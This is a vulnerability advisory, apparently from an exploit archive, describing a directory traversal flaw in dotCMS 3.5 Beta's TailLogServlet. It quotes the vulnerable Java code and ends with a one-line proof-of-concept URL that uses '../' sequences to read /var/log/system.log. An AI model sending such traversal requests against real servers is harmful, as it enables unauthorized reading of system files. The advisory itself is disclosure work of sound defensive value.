Home / os / winmobile

DotCMS 3.5 Beta Directory Traversal

Posted on 11 April 2016

Advisory: DotCMS Directory traversal vulnerability

Author: Piaox From Pingan Product Safety Group

Email: xiongyaofu351@pingan.com.cn

Affected Version: dotCMS 3.5 Beta(the latest version)

==========================

Vulnerability Description

Recetly, I found a Directory traversal vulnerability in ‘DotCMS'
program, DotCMS is widely used in many companies.

Vulnerable file is: “com.dotmarketing.servlets.taillog.TailLogServlet.class”

File file = *null*;

String tailLogLofFolder = *Config*.*getStringProperty*(
"TAIL_LOG_LOG_FOLDER", "./dotsecure/logs/");

*try*

{

*if* (!tailLogLofFolder.endsWith(File.separator)) {

tailLogLofFolder = tailLogLofFolder + File.separator;

}

file = *new* File(*FileUtil*.*getAbsolutlePath*(tailLogLofFolder +
fileName));

}

*catch* (Exception e)

{

*Logger*.*error*(getClass(), "unable to open log file '" +
tailLogLofFolder + fileName + "' please set the config variable
TAIL_LOG_LOG_FOLDER correctly");

}

*if* ((file == *null*) || (!file.exists()))

{

response.sendError(403);

*AdminLogger*.*log*(*TailLogServlet*.*class*, "service", "Someone
tried to use the TailLogServlet to display a file not in the logs directory"
);

*return*;

}

String regex = *Config*.*getStringProperty*("TAIL_LOG_FILE_REGEX");

//WEB-INF/classes/dotmarketing-config.properties:TAIL_LOG_FILE_REGEX=.*.log$|.*.out$

*if* (!*UtilMethods*.*isSet*(regex)) {

regex = "!.*";

}

*if* (!Pattern.compile(regex).matcher(fileName).matches()) {

//Only detects whether the file extension .log end,lead ，caused Directory
traversal vulnerability.

*return*;

}

response.setContentType("text/html;charset=UTF-8");

ServletOutputStream out = response.getOutputStream();

out.print("<html><head><title>dotCMS Log</title><style
type='text/css'>@import '/html/css/dot_admin.css';</style><script>var
working =false;function
doS(){if(!working){working=true;if(parent.document.getElementById('scrollMe').checked){dh=document.body.scrollHeight;ch=document.body.clientHeight;if(dh>ch){moveme=dh-ch;window.scrollTo(0,moveme);}}working=false;}}</script></head><body
class='tailerBody'>");

out.flush();

*Tailer* tailer = *null*;

*long* startPosition = file.length() - 5000L < 0L ? 0L : file.length()
- 5000L;

*MyTailerListener* listener = *new* MyTailerListener(*null*);

listener.*handle*("Tailing " + fileName);

listener.*handle*("----------------------------- ");

tailer = *new* *Tailer*(file, listener, 1000L);

tailer.*setStartPosition*(startPosition);

*MyTailerThread* thread = *new* *MyTailerThread*(tailer);

String name = *null*;

*for* (*int* i = 0; i < 1000; i++)

{

name = "LogTailer" + i + ":" + fileName;

Thread t = *ThreadUtils*.*getThread*(name);

*if* (t == *null*) {

*break*;

}

*if* (i > 100) {

*throw* *new* ServletException("Too many Logger threads");

}

}

==========================

POC && EXP

==========================

1. Login

2.
http://localhost:8080/dotTailLogServlet/?fileName=../../../../../../../../var/log/system.log

 

TOP

Malware :

Exploits :